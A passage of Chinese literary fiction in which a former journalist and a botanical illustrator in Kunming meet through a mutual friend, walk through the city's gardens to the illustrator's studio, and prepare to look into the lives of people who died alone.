他俩呢,老陆在昆都早报做了几年记者后,遇上一家企业,被招募去做了搞文宣。再后来,自己开广告公司,那大概是2007年前后,那会儿广告公司还算赚钱。再后来,我们联系也不多了。老康呢,一直做摄影,后来做了个很出名的项目,叫《西行记》。趁着年轻,他把云南的少数民族走了一遍。那时,好几年都见不着他的人。好不容易见一次,人直接黑了八个度,比古天乐还黑。牙倒是很白,一笑起来啊,白得跟玉一样。我老说,白玉牙膏就是这么来的。老康长得帅,晒得再黑,也是阳光型的好看男人。那时候不讲究健身,但老康成天骑着个自行车背着相机到处跑,相当于运动,人很结实,哪怕个子中等,人也一直很挺拔。当时有小姑娘写情书跟他表白,说他长得‘像写得好的毛笔字一样,流畅通顺’。后来,我们也见过几次。老陆还是一样,文质彬彬的,有钱,不显老。老康,身体不太好了,在报社坐办公室,画画小画。我看过一两幅,很有意思,像丰子恺的小画。” “那报纸上阿扎的画,也是老康画的吗?”二更问。 “并不是。其实是陆均松画的。所以说,人生很神奇。当年,坐在老太太的沙发上,我问这小画谁画的。陆均松说,听着老太太描述,他就顺手画了。白毛黑尾,都不用涂色。那时候,老康说,自己学了摄影之后就不会画画了,说这是两码事。谁承想,老康身体不好了之后,出不了远差,爬不了山路,拍不了照片之后,自己就开始画画了。 算起来,我们之间确实是好久没联系了.......”老延感慨,“不过,现在这个断章取义的年代,没有谁的讯息,也是一桩好事,尤其是人过了中年--至少证明你没有什么乱七八糟的事,还算风平浪静。” 那么重新联络,大概是因为老康的坏消息吧。二更心里有一点预感,但未出口。 “老康,”老延放下茶杯。刚才追忆过往时,她一直抱着杯子没有放,茶叶泡得像西湖莼菜汤里的莼菜,“老康前段时间去世了。” 康定杨,年初患病,今年10月份离开了。由于康定杨一直未婚未成家,他委托挚友陆均松联合家人一起处理后事,并出面安置他的摄影、绘画作品。在处理完老康的后事之后,老陆找到延胡索,商议未来一年石房子展览的事宜。继苏铁女士纪念活动之后的第一场活动,就从老康开始。 “认真回想最后一次一起见他们两个的场面,是在彩云之南纪录影像公益影展上,我们又一起喝了个小酒。” “那晚,老陆话很多。”老延又抱起那杯绿茶,喝饱了,不喝,只抱着,身体向后彻底地靠在椅背上,像一只抱着小海獭的老海獭。“他似乎也是这样的坐姿,往椅子深处靠得很紧,整个身子都被支撑着,很放松。他职业不一样了,但和我们聊,聊得还都是报社的趣事。” 除了寻鸡启事,三人还聊到多年前,报纸上的讣告。 陆均松说起,某日,来了一个女人,问是否可以登讣告。她想登那种不太好的讣告。“恨的人可以登吗?我们离婚了,终于摆脱了这个男人。我想昭告天下。”后来女人的离婚启事登报了,只不过没有延续她最初那两三句不留情面的辱骂、绝不再见的决绝,而是在她同意的前提下,陆均松润色了一段文字。大意是:也曾彼此折磨,拉拉扯扯,至死方休。终究灵魂逐水流,不再相逢,绝不相逢。 那时候的报社,不像现在网络社会这样发达,没什么即时互动。一则信息刊发出去,很多时候不知石头会砸出什么样的水花。偶尔,会有一些人写信到报社,谈被哪篇文章深受感动。尽管这篇女人的诀别书没收到读者回信,但陆均松知道,有些人看进去了。因为不久后,又有一些有趣的人找了过来,要登各种启事。 一个中年人在一个阴天找过来,说想给初恋,哦不对,是暗恋过的女人登个启事。但他并不想寻她,只是想祝福她过得好。这就难了。这个理由很模糊,愿望很缥缈。男人说,他做梦梦见了喜欢过的这个女人,眼睛快瞎了,在卖大头菜。在梦里,他在菜场难过得哭了出来,后悔当年没有勇敢说出来,这样或许他们会在一起,她能过得好一些。所以他默默地帮她把菜上的泥,一点一点用手指甲抠干净了,抠了一晚上,早上,差点起晚了。 这则寻人启事后来很幸运地刊发了。本来编辑部是有些犹豫的,但男人是开公司的,不差钱。男人提出会付三倍的价钱,并为公司订购连续三年的报纸。 要走时,天下起雨来,窗外淅沥沥地响。男人伸出手,探出窗外,想试试雨有多大。 老陆看着这个已经有了圆滚滚肚腩、头发也少了许多的中年男人,十分天真地伸着胳膊接雨水。他觉得这个画面有点可爱,有点温馨。男人在不知情的情况下,被画成了一幅小画。不过这次,画画的人是康定杨。 当时,他来打热水,路过老陆的办公室,看见老陆站在那里,一直盯着一个男人看。他站在两个人身后看着他们,觉得这事儿很好玩。回去后,就画了人生的第一幅小画,连热水都忘了打。 再后来,来找的,是一个小孩儿。少年头发炸炸的,不蓝不绿,穿着露肩膀的小背心,上面图案花里胡哨的,带着亮片。这装扮有点奇怪,但还是让人一眼看上去就感受到活力。 “他要给他二大娘登个报纸”,那晚,酒吧里,陆均松轻轻转折手中的不倒翁玻璃杯,缓缓回忆道。 老康似乎也回忆起这个事情,咯咯地笑起来。看起来是个轻松有趣的故事。 少年要给他去世几年的二大娘登个启事,告诉她,黄缅桂又开了,他很想她。 为什么不能亲自在上坟的时候告诉她呢?亲自带上一箩,洒在她墓碑前,不是更好吗?但是少年决定这几年不回家了。他的想法和家里不一样,像自己出去闯闯,赚点钱再回家,所以没办法在每年七月半时回家祭祖。家里的祖宗们都住在一个后山上。过去二大娘在的时候,和大家一路上坟,他总能闻到缅桂花的香气。她在每个老人墓前都留几朵,再收拾一下坟前的花草,拔掉杂草,给坟边的小树上上肥。等到所有仪式结束往回走时,香气仍在,走出后山,香气就散了。离开家,到了七月半,最想念的,是她,是一种香气。 那时的老延没说话,只是看着那只摇动的酒杯,开始想象这种香气。缅桂花在西南是很常见的。街头卖缅桂花的老太太,五块钱两份,每份两朵,用白棉线穿着,能从春末买到初秋。买回家去,两三天会败,香气能持续三五天。 此刻的二更也没说话,在桂花香里,看着老延,忽然想起小学时背过的课文里的话,“我沉静下去了。寂静浓到如酒,令人微醺。” 职业记者的注视,到底是有点特别的。就像上学时候,班主任在窗外的注视、监考老师在身后的注视,莫名其妙,大家可以感受到。老延感受到了二更的注视,她从回忆里缓回来,认真地对二更眨眨眼,问道,“你年纪轻,忌讳谈这个吗?要做这个事情的话,接下来一年,都要听死人的故事。”老延换了个更正式一些的坐姿,说道,“这个世界,有人迎接新生命,有人送走病弱残躯。后者到底还是凄凉了一些。你是可以选择的,好好考虑考虑。” 于是,二更真的认真考虑了一下。 她在杭州做过几年全职记者,住的地方离报社很近,对面是一家三甲医院。有天,深更半夜,花坛上坐着一个男人,抹眼泪。他抬起头来往前看了几眼川流不息的车。二更从侧面看他,这个中年男人眼里含泪,所以眼球圆圆的,像猫。但从正面看,他的眼袋很大。 这里每天都是这样的人。住在医院附近,每天路过时,二更都有一种在过生死桥的错觉。医院周边的味道,不同于医院里的味道,不是药水味,是叫不出名字的某种抽象的味道,混杂着世事无常的无声叹息。她那时的室友,因为受不了医院的氛围搬走了。室友说,偶尔能听到医院半夜有人痛苦地喊,不是吓得,是有些难过。医院的灯光总是灯火通明的,后来这个房子就她一个人住,窗外一年365天24小时亮着红色灯牌。家楼下,是几家寿衣店,同样常年亮着“寿”字,白色的。一开始,她是有点害怕,但后来,她经常出差,晚上从机场回来。江浙秋冬季的深夜,冷得不给行人留情面。11点多,周围小店都关了,医院的红色急诊字牌亮着,小区门口寿衣店的白灯牌也亮着。好歹是有盏灯亮着,等她回家。 那段日子,她活得特别宁静。她在这个白色灯牌下的小门里,进进出出很多次,早已不必忌讳了。 再说,她也自己一个人生活很久了。回想起和老延的昨日对话,那句“相信童话的年纪”。为什么不能试试,去听听一些好的童话?为了安抚自己的过往,为了勉励自己的未来,未尝不可。 “不是很着急,你好好想。另外,我还找了另一个帮手”,老延说。 半小时后,一个穿着粉色卫衣的女孩走进了院子。 “我记得你!”,女孩兴奋地叫起来。 两年前,杭州,一个冬日里晒得到日光的院子。二更坐得位置很偏僻,女孩坐得地方很显眼。所以,当二更点了一包感冒药的快送时,快送小哥直接找到了这位也穿白色衣服的年轻女孩。如果不是二更从角落里站起来取药,女孩不会那么快发现,大树下,还有一个单人座。 不过,她迟早会注意到的。女孩喜欢看树。等她拿出速写本,她一定会好好去画一画这棵树,并发现被大树挡住了一半身影的佘二更。 那天,二更离开之前,一个小朋友哭闹着要跑出院子,一头撞入正往院子门口走的二更怀中。孩子的脸哭得红扑扑的,和家长吵了架,一边颠着小碎步跑,一边喊着“我要走,离家出走!”二更被逗笑了,她用一只手臂轻轻地拦下了小孩,揽住了他往前挺着的柔软的小肚子。 “要不要先吃个太阳饼再走?” 她问,用另一只手晃了晃那包很好看的鲜花饼盒子,从云南带回来的。 不多,很快就被小孩儿吃光了。二更陪小孩在院门口处的茶座上坐了一会儿,小孩抱着饼,抽泣着吃,像一只不知道饱的小仓鼠,吃了许久都不觉得累。扬言要离家出走时背上的鼓鼓的小书包,已经被放下了,在椅子上刚好撑住小小的腰背。 孩子的父母追来,坐在隔壁,一脸对二更抱歉、又对小孩无奈的复杂表情。三方形成了默契,先等孩子吃完。最后,孩子爸爸把二更手中原本满盒的饼,换成了小院里卖的新茶,陪笑着送到二更手里,又轻轻用手压着小孩的头,给她鞠了个躬,表达了吃太多的歉意。 隔了三个茶座的姜籽,给吃饼的小仓鼠和那位善良的姐姐画了一张画,背景是深深浅浅许多种绿的森林。姜籽想和她说句话,于是走上前,随便说了一个附近的地址,佯装问路。对方指着院外,让她顺着阳光晒着的方向走。 “那当时,我指对了吗?”二更努力回忆,但没有头绪。 “对了。你是光里的人。”姜籽说,她的粉色头发轻微晃着,圆圆的眼睛亮晶晶的,应该能榨出葡萄汁。“我记得那天,我找到方向回头看你,发现你朝我招了招手。你在光里。我觉得你很善良,告诉了人方向,还要看着对方走对了,才放心。” 二更笑笑,她还是没有想起来。这些年,指过路的人有千千万。她就是那种看起来很面善,总是会被问路的人。甚至出个差、出去玩,在完全陌生的城市里也会被问路。掏出手机帮年纪大的人查查要去的地方和路线,更是常事。 “那年我的头发......还是挺规矩的。”她用手抿了抿粉色的头发,“只有那么一小撮,挑染了绿色”。 姜籽,国美中国画院毕业生,毕业后刚从杭州回昆明不久。姜籽的父亲曾在昆明植物园工作,主要方向为野生花卉的研究与保护。受父亲的影响,姜籽从小就对植物研究尤其是植物科学绘画感兴趣。从大一开始,姜籽就开始参与了一些野生植物的科学绘画工作,目前是国内植物绘画方面最突出的青年人才。 最近,她有点忙。几部上世纪60年代出版的地区性植物志迎来了新一轮修订,其中的插图也需要更新。姜籽接手的工作,就与之相关。好不容易,项目结项,这才空了出来。 二更看着姜籽,一时有些恍惚,她突然想起两年前雪中差点踩到的人。眼前这个干净到好看的女孩子似乎就带着那种逃逸的气息,“是雪的气息”,二更心想。 延胡索接过话头,“你们认识,太好了!” 她笑嘻嘻地看着两个人,其实有点小心思的,好不容易等到姜籽项目结项,二更也停了原来的工作,两人都不怎么缺钱,刚好可以从从容容地做点有趣的事情。她隐约而坚定地觉得,这事能成。 我早就给你们的组合起好了名字,“西南调味料组合!” 一阵沉默。 又想起二更刚才一直在看桌上的豆瓣绿,她立马把豆瓣绿抱了过来,一把塞进二更手中,把二更装扮得恍若一个抱着玉净瓶的善财童子。她拍拍二更的手臂,动作利索地把二更推向姜籽,“不如,你们好好聊聊?” 2. 第一课:姜籽 在双眼中独舞 01 我喜欢植物大于人类 冬未尽,春未到,这时的昆明,虞美人铺满了山坡。 听从姜籽的建议,二更抱着一盆豆瓣绿,绕过弯弯绕绕的小径,从延胡索的小院走出,拐入不远处的世博园,跟随姜籽“走近路”,去她的画室看看。 “毕竟,我一下子也想不到其他让你认识我的方式”,姜籽有些腼腆地说。 日光普照,所有植物都明媚,有云贵高原被哺育出独特的神采、坚实的身材,传递着日光积蓄的能量。二更喜欢在这样的日光下,在植物丰茂的地方散步。 延胡索的讯息传来,附上了姜籽的学术简历。二更迅速地扫了一眼,很羡慕身边的女孩。她的成人礼很特别,18岁正式就参与了多个国家植物志项目的植物科绘。 再抬起头来,一个奥特曼走了过去……二更愣住了。之后是一系列的奥特曼,火系、水系......紧接着是一群小马宝莉,摇摆着她们的辫子,哦不是,七彩尾巴。每一位摇动的姿态都不同。远处,日光下开得绚烂的虞美人花丛中,是一只可达鸭,还有《银魂》里那只大白鸭子,伊丽莎白。狐狸,兔子,非人哉;彩带,蕾丝,大卷发;风吹起来的蓬蓬裙,头顶着的仙神光环,还有迷人的高开叉妩媚裙。整个广场乌泱乌泱挤满了coser。 真不愧是拥有25个少数民族的地方啊,奇形怪状的一切,被允许到处乱飞。在漫长的和乐而居之中,昆明人发展出一种可爱的生存哲学,二更将其归纳为“天高任鸟飞,管好我自己”。在二更去过的很多地方里,云南是个人生活最不会被打扰的地方。你会能活得像一棵植物,摇摇风淋淋雨,此外没有别的谁硬要探过头来,问年龄、问来路、问工作、问不该随意干涉的一切。 乱花渐欲迷人眼的时刻,姜籽拍了拍石化的二更,示意她往旁边一条小径走。 “想起来有个老朋友要去看望一下。”姜籽淘气地笑了笑。 拐入小径后三两步,世界瞬间寂静下来。又走了几步,姜籽停了下来。周边没有一个人。她忽然开始对着一棵水边的垂柳说起话来。“你要加油啊!”。语气恳切。 二更静静地看着一棵树和一个人。树,是棵老柳树,树干上挂着输液袋,还有一个“大树复壮中”的提示牌。人,在说完这句话后就不出声了,站住不动,彷佛在默读一篇课文。二更有些诧异,但并不觉得尴尬,脑袋里开始翻涌起一些奇异的想法。她想起来小时候会穿的那种娃娃领衬衫,套个毛衣马甲会露出来花边领子的那种。大约有二十多年没穿过这种衣服了,姜籽也没有穿。但此时此景,让人回想起穿这类衣服时候的孩子会做的事。 “你会觉得奇怪吗?”半晌,姜籽转头问。 “不会”,二更答,怕对方觉得敷衍,她又补充道,“我有个朋友,她也这样和植物说话。” 姜籽眼睛转转,并未再多言。她带二更沿着一道弯弯曲曲的小河继续走,这段路上的大树,树龄都比较大。树冠按照羞避原则,留出拼图一般的缝隙,太阳时隐时现,树林时明时暗,光影像是跑在山林里的小鹿。林中只有两人穿行,身上披着光点,也像带斑点的小鹿。 “那棵树,果子很好看。”姜籽说。 二更看树,这果子很特别。绿色的,很有立体感,像一个榫卯玩具球,很精致。若是二更拆下来,必然装不回去。 她叫喜树。二更目光向下落到了树上的名牌。结出了像刺猬又像星星的果子的这棵树,生得很高大,果子在头顶触不可及。有人在树干上刻了“我喜欢你”。字迹歪歪扭扭,随着树长大,变得不那么起眼,可一旦被捕捉到了,还是让人遐想出一段青梅竹马间的故事。 “它会疼吗?”二更问,“或者,它会比其他树更开心吗?”二更的声音不大,只是自言自语。 “这取决于,人们是否相信植物也有感情。”姜籽听到了,回应道,“它不一定快乐,也有可能孤独。另外三五株喜树,都在离这里有一段距离的大草坪旁边。它一个人,哦不,一棵树,在这里孤零零的。所以我小时候来这里写生时,会觉得它是孤独的。 对了,我可以叫你‘小佘姐’吗?像叫延老师那样,总觉得有点距离。” 二更点头,这个名称很可爱。 “我爸跟我说过,靠近一棵树,你可以试着感觉这棵树是不是开心的。它们开花的时候会开心,下雨的时候披着雨珠也会开心。哪怕这种感觉,只是人的一厢情愿,没关系,可以当做散步时的一种游戏。最好自己来感受,不要有其他人。” 这样的漫步,和这样可爱的人一起,很好玩。不过,画室到底有多远呢?姜籽并未言明。二更想问,不是不耐烦,不是累了,是希望这样的路可以继续下去。 “就快到了。” 姜籽说。 这是骗人的。因为她又带着二更上了一架爬山缆车。老式缆车吱嘎吱嘎,晃悠悠的,视线中,大片的云南油杉在秋冬季节结出了成熟的球果,健步道上的行人在杉树的掩映下,变得很像擅长跳跃的小动物。 “小佘姐,我对死亡,没有概念。”在一片绿野之中忽然开口聊这个,难免有点突兀。姜籽顿了一下,有些迟疑地继续说,“我爸爸去世时,我还很小。他是做野外植物勘察时,出意外去世的。具体的一些事情,我已经忘记了,只还记得,那是昆明最冷的一年。”她又顿了一下,这次比上次的停顿还要长十几秒,缆车吱嘎吱嘎叫了好一会儿,“还有,我其实......不是那么喜欢人类。我喜欢植物,大于人类。所以我担心......” “我也不是很喜欢人类。”二更还是那副再正常不过地语气。 姜籽侧过身看着她,眼睛圆溜溜的,像油杉林里的松鼠寻到了一朵很美的坚果时会有的眼神。 “我读书的专业,算是人类学吧,”二更答,“所以我不喜欢人类,是经过专业判断之后的说法”,二更说完苦笑了一下。“严格来说,我读的是民俗学,一些学校会把它放在文化人类学大类之下,毕竟,大家似乎更了解人类学多一些?我选的这个专业,脚步踏遍祖国大地的小角落,不像人类学那样聚焦异族文化,也不会涉及到侵略、殖民相关的某些黑历史。所以我很幸运,稀里糊涂选了一个挺单纯的事情,可以带着单纯的爱与好奇,去见识我们这个辽阔国家里各种不同的人群。毕业后,我做了记者,也和人打交道。我接触过非常多可爱的人类,我很欣赏和敬佩他们。 但,我必须坦诚,我也不喜欢人类。这和所学的专业、从事的职业没有太多的关联,也不意味着要反社会。我只是,更喜欢一个人待着。如果和人群待久了,我会感觉自己像一个.....一直在阴干但始终没有干的毛巾,一个爬不起来的阴湿的灵魂,我不喜欢那样的自己。 我很能忍受孤单,可以以年计,可以当它是一个常态,但我很不能从容地面对热闹和拥挤,大概只能撑两三个小时,或者一个上午、下午。”二更说,“所以,做记者,刚刚好。” “可我做的事.....和人类似乎没有太大的关系。”姜籽喃喃道。 意识到姜籽对于接下来可能要做的工作存在犹豫乃至一丝恐惧,二更诚恳地说,“我们有可能要做的事情,关乎一些独居的逝者。这些人已经走了,无论是哪一种寻访和回溯方式,我想,和她们‘打交道’的时候,我们都不必面对过分复杂的人际交往。我们有可能需要通过各种痕迹,去拼凑她们可能走过的路。对我来说,这比大多数采访都要宁静得多。” “我画的植物,有活的,也有死的--有时会参照标本、照片,把那些死掉的植物画成活着的。我也试过对着化石画一株活着的古老的植物。”姜籽说。她第一次临摹植物化石上的植物,是志留纪-泥盆纪的维管植物化石。在这个过渡时期,维管植物在云南爆发式地出现,扩散至全球,繁衍至今,形成了地球上丰富的植被。当时,按照博物馆的需求,她要试着从植物死亡的遗迹上,复原它们初次登录地球的样子。 “就是这样了”,二更说,“把你将会遇见的人,当成植物来理解吧?我猜,她们不会说什么的”。二更安慰道。虽然她也还不知道将来会寻访怎样的人,但如果她能够负责做一些筛选,她会提前为姜籽确保,那是可爱的灵魂,某种程度上就像某种植物,简单、清澈。 “但总觉得是要去等待或是捕捉某一些,很好的人去世了的消息,有点奇怪。”姜籽说。 “没关系,我们就等,等它们发生。这符合世界运行的法则。”二更答。“我有一大堆同行或者同门,每天都在等着名人死亡的消息、有关死亡的社会新闻。在村子里做田野调查的师兄弟们,在等村子里有人家出丧---如果他们在研究丧葬习俗的话。这样的事情,每天都在发生。” “那你为什么想做这件事,小佘姐?”姜籽问。 “因为......”二更在想,要答得诚实一点,还是要说得体面一点,她最后选择诚实,“因为怕死,怕一个人死。” 二更一个人生活已经很长时间了。她是一个高敏感的人类,对声音敏感,对气味敏感,不太喜欢和其他人长期共享私人空间。所以这些年,认真地选来选去,还是一个人生活最舒服。 三个月前,二更因胸痛去医院。坐在诊室门口,她真的很害怕。旁边的女孩和她一样紧张。所以,她们相互问候了一下。谁都没有提害怕,但她们都知道,彼此很紧张。这是一种很微妙的感觉,病人之间的心灵感应。还好检查后并没有很大的问题。但那种恐惧,就像忽然叫醒了一个教室里睡着的人。嘿,你要考试了。 考试的题目是,你一个人过得怎么样。 她并没有答得很好。会失眠,会焦虑。一个人生活,有很多处理不好的事情。她的身体也处于亚健康的状态,她可怜的睡眠总是断断续续,饮食不均衡,呼吸太急促。她不能总是把生活的节奏控制得恰好好处。想到这些,她就对自己感到抱歉,并没有把自己照顾得很好。她很需要一份指南,《一个普通中年妇女如何不害怕独居着死去的指南》。 往常,不知道怎么生活的时候,二更就去找“死人”。跨越此刻,去彼时,去找书中、电影、历史中的已经逝去的人,和他们交流。这当然可以解除一部分的困惑,但多数是在抽象层面,比如,关于存在的意义。 是时候,看看活人了吧?哦,其实也不算。按照老延的计划,她们要寻访的是不久之前独居的逝者,一些很多人看不懂、想不透的怪人。 缆车停止了吱嘎声。这趟缆车从世博园起,到金殿森林公园的山顶止。两人抵达金殿下车处。“我的画室,就在那片林子后面。”姜籽指着不远处的一片山林。二更留意到那片林子,恰好在她撞过大钟的对面。 延胡索的最后一条讯息传来,“小姜的父母离异过,她的生父,姓穆。姜籽很小就跟着养父一起生活了,对她来说,唐棣才是她的爸爸。所以,你看,你们真的可以组一个‘调味料组合’!(做坏事的表情包)” 木姜子,折耳根,好吧,二更回复了一个“奇怪的知识增加了”的肥猫表情,继续跟着姜籽向着大钟对面的山包走去。 她们路过一个已不开放的院子,是一处与吴三桂相关的“文化馆”,看上去荒废许久---因为有市民在给市政府的投诉信中写道:吴三桂这种卖国贼,不应成为一座文化馆的主角,而是应该被钉在历史的耻辱柱上。彼时,市长信箱刚开不久,这是头一波信,还被媒体终点关注。最终,“文化馆”关门大吉。但陈圆圆的雕塑仍在花园中,因为群众们质问,“女子何辜”。写信的人,正是姜籽。但她不言不语,只带路,隐下了这一段因缘。 两人又走入一片马樱杜鹃林。这种通常长成灌木或小乔木的杜鹃,在山上如遇风水宝地,直接窜天,长成了显眼的乔木,形成一片燃着鲜红火球的森林。马缨花一朵一朵,像绑在树上的绣球,把寻常日渲染得像过年。二更穿行其间,心中生出一种不可思议的童话感。萤火虫可以是火红色的吧?白日下,漫山遍野地飞。 又走过一座巨型仙人掌擎天的多肉植物馆,走过一丛又一丛硕大的雷神、金手指、宝石花、不死鸟、燕子掌、虹之玉…… 二更脑子里浮现出很久很久以前她玩过的一种游戏,贪吃蛇。 七拐八拐,终于快到了。 脚下曾是昆明植物园之下园林研究所的旧址。原单位搬迁后,留下几排老式楼房,目前被用作公园的备用宿舍,无人看守。姜籽带着二更穿行进去,右拐,眼前忽现山腰处的一片住宅区。一条宽阔明朗的盘山路如银蛇闪着光。“也可以走这条路,但,我怕无聊”,姜籽说。二更苦笑,但也赞成。 “这条路我常走,我想,如果今天走也没有什么奇怪的事发生的话,我似乎就应该答应延老师。” 不算太奇怪。二更想起一个朋友,生在一个传统的大家族,他那个姓氏,至今仍有一片很大的家族墓地。每次遇到人生重大转折,拿不定主意时,他就去林子里溜达一圈。如果没什么奇怪的事发生---比如头顶落了鸟屎,或是脚被草木拌住摔一跤,他就大抵知道祖宗们不拦着。 无论如何,她这只贪吃蛇,终于历经艰辛,吃到了那枚不断闪着的小光球。姜籽的家与画室,就在眼前的小白楼里。 怀里的豆瓣绿动了,依照二更这段时间的幻觉经验,它大概是喜欢姜籽的画室。的确,这里有明亮的散光,通风也好,像一个很舒适的......大教室。左手边一面墙上,挂了一块很大的黑板,大学阶梯教室的那种黑板,可以上下滑动。板面很干净,雪松般的绿,写过的字已经被擦干净了。右手边墙边放着一些柜子,中药柜模样的收纳柜。每个格子都不小,收纳着各种工具。每格上都有几个字的小标签,用的是老式的蓝色边框标签纸。整个房间里,没有任何东西七零八落。 豆瓣绿又在蛄蛹了,二更感觉自己像抱着一只两三个月的活泼小狗。不然,就把它放在这里?在征得姜籽的同意之后,二更把豆瓣绿安放在了药箱式的工具箱顶上。解放双手后,二更的目光更加从容,不自觉地就落在了进门后正对面一扇宽大的落地窗上。靠窗,两个斜度不一的绘画桌,收拾得很干净。窗外,一个巨大的操场,镶嵌在一片绿林中。 “这是一家精神病医院的操场”,姜籽走到窗边,将端来的一杯水递给二更。 二更在去延胡索小院的路上瞥见过这家医院,没想到居然又以这样的方式与它重遇。难道画画的时候,她习惯看着这个操场? “会看到些什么呢?”二更问。 “人们在动”,姜籽答得简短,表情没有什么异样,像在说,是的,看一棵树。“这会让我感到一种流动感,还有安心。大家是病人,但脑子里的东西很满,感觉他们走路都重重的,有一些内容,让人有想象的空间,不像大街上匆忙赶路的人那样。”姜籽又补充道,“哦,当然,这不是一种歪曲或是美化,我希望他们能好起来。” 二更脑子里流淌过出现一行字,“木姜子仙人”,姜籽的精神世界,也很特别。 “病人们散步,自由活动。没有规律,但通常不会太快。这种频率对于我来说,是一种很温柔的陪伴,尽管当事人并不知道。就像树也会动,动得幅度有时比人大,有时比人轻,都是很自由的节奏,也不会打扰谁。人在变成这样子的时候,虽然不被正常社会所接受,但又有一些奇特的‘可爱’之处。” “明白了。”二更对着仙人点头,理解,但不完全理解,因此未做过多评议。 天色,比她们来时暗了许多。多云天,天空这块画布上的色调忽明忽暗,很快,进入一段长期的暗沉,一时间像入了北的冬。在昆明生活两年后,二更已经把握了一些秋冬季节的生活法则。昆明一旦进入干季的冬日,日子是否舒适,就要看太阳的脸色行事了。有太阳的时刻,人类连同所有小动物、植物都会被眷顾,被晒着长出金色的茸毛,万物皆可爱。但遇到多云、阴天、雨天尤其是连绵的阴雨天,昆明就会像那种脾气一贯很好的人被触及了底线,脸色骤沉,平和一去不返。一年之中,春城80%的天气都堪称天公作美,不与人为难。20%的余数,则透露着它果决的另一面,让人懂得敬畏。 此刻,它开始果决了。 “狗狗请朋友过来了?” 温暖的声音,倏然调亮了室内的气氛。 姜籽的母亲,姜兰,有着与姜籽相似的明媚五官,浅色衣裳平底鞋,妆容清淡,眼睛清亮。她一笑,眼眉弯弯,似水中月影,和姜籽有些英气的眉眼很不相同。 “小佘?是吧?我听老延说了。”姜兰也叫二更小佘,姜籽叫时,只觉亲切,姜兰一叫,二更就彷佛这命名魔法变成了一条温顺的小蛇。“变天了。喝杯茶?”姜兰的语气很亲切,二更没有拒绝。 三人走回一楼,一间宽敞的茶室,门一开,就弥散出茶香。与其说是茶室,这里更像一间私家的茶业展馆。进门是一面由普洱茶做成的屏风,扑面而来的茶香,就来自于它。其后是一面茶饼墙,摆着百十多个不同种类的茶饼,来自云南几大茶区不同山头,名字都很好听,懂遇,攸乐,莽枝......墙两边,左右分别陈设着双鱼造型的博物架,一边陈列古籍,如易武丁家寨瑶族的祭茶神献词、景迈山布朗族祭祀茶祖的唱词,一边放置茶器,风格不同,有经典的建水紫陶、宜兴紫砂,也有稍显朴拙的傣陶,以及普洱茶汤做的釉下彩茶器。 “来选一套茶器?”姜兰发出邀请。 二更不懂茶,也不懂茶器,有些小心翼翼。姜籽索性代她选了那套釉下彩。姜兰坐下备茶,姜籽则拉着二更多走了几步,去看父亲留下的茶叶标本。它采自云南的景谷盆地,3540万年前,茶树的始祖宽叶木兰就在普洱的景谷盆地生长了。 与父亲的茶叶标本挂得很近的,是几幅姜籽的小画。因画幅不大,更显逸气。这是姜籽大学时期的毕业作品,《酒狂》,用普洱茶汤绘制而成两幅人像。他们是她想象中的诗人。二更仔细看,中间那位抽象的人物,肚子颇大。她想起李白,进而想起《将进酒》。她又想起,多年前自己第一次喝熟普,没有经验,喝得太饱,以至于头晕目眩,像极了喝醉的感觉。怪不得,普洱茶汤,宜作酒狂。稍远一些,有两幅画幅很大的作品,三、四米高。一幅是以布朗族采茶生活为主题的水墨画,左边以拼接形式的小画,分别展现布朗族的民谣、民居、采茶场景,右面是一幅颀长的布朗族山水长篇。另一幅是布朗族的桑康节,画面展现了少女们的舞蹈,但并没有采用写实手法,而是用反复的晕染套色制造出夕阳余晖下的节庆氛围。除了朦胧与神秘,画中还藏着专属于年轻女孩的清透气质。 “那些挂着是什么呢?”二更指着旁边挂着的小串叶子似的东西,像她在南方街头常见的干辣椒和小鱼干。 “茶叶,是我自己串着玩的。没想到,我妈把它们留下来了。毕竟,它们是和我爸一起采的,当个纪念。” 流水意蕴的茶桌上,姜兰泡好了月光白。 “喜欢植物?” 她问二更,“我看你们进来时,你手里抱着个,玉净瓶?” “是从老延办公室里抱回来的豆瓣绿。” 二更心想,她其实是被“缠”上的,奇异的跨物种量子纠缠。 “狗狗也很喜欢植物”。姜兰笑这说。云南人喜欢叫小孩子儿“狗狗”,“臭狗狗”,这是一种爱称。“但我怕她只喜欢植物,成天对着植物,人都要变成一棵香椿树了!” 二更只笑,对这几句寒暄,应对得略显含糊,因为她有些心不在焉。她的目光被茶桌旁另外两幅更迷你的小画迷住了。它们让人有些疑惑。不是不美,而是,是非难辨。 细细的杆,拖住绽开如莲花形状的花朵,迷离的红,蒙上了一层落日的余晖。画中那朵花,好像彼岸花,气质却更加明亮,花瓣也更粗大。 “郁金香,”姜籽贴心地解密了,“盛开后,凋谢的郁金香。” 哦,原来如此!谜题揭晓后,二更涌起回忆。她记得这种姿态。上一个冬日,翠湖边,很多女孩衣着鲜亮地汇聚在开得正酣的花田里。郁金香最佳的观赏期大约是开放后三周以内,此后开始凋落。熙熙攘攘的花田往前几步,就是一处已全然凋零的花杆子田了。唯余一朵,纵无人看顾,倒也优雅从容。花瓣吊着一口气,已无力聚拢,像人瘫着在沙发上,还有一点点余力,但是也不想用力了。 然而二更走过去看了很久,因为从她的视线观察,这朵花的背后恰是一池碧绿的湖水,还有一个安安静静坐着的老者的背影。老人没有在乎这花是不是就要凋谢,她坐下来,晒太阳,陪伴它从容地告别。 对称悬挂的另一幅,底色灰白,主角仍是一抹红。这次的红,像挂了一层霜,略显苍白。 冬樱花吗?二更拿不定主意。春城,严格来说,并不四季如春,冷起来,它仍是一个平均海拔约两千米的高原城市,只是,时常给人一种四季如春的错觉。譬如樱花,在冬、春季节会开两次。冬樱花先于郁金香,在12月、1月点燃高原的冬日花海,春樱花则会晚于郁金香,在2、3月底占据一座城市对春的诠释空间。二更知道,无论哪一种樱花,都偏桃红。而画中的红却有一种古典韵味与坚韧气度,似乎染尽风霜。 “是红枫”,姜兰边说边递过来一杯汤底清亮的白茶。 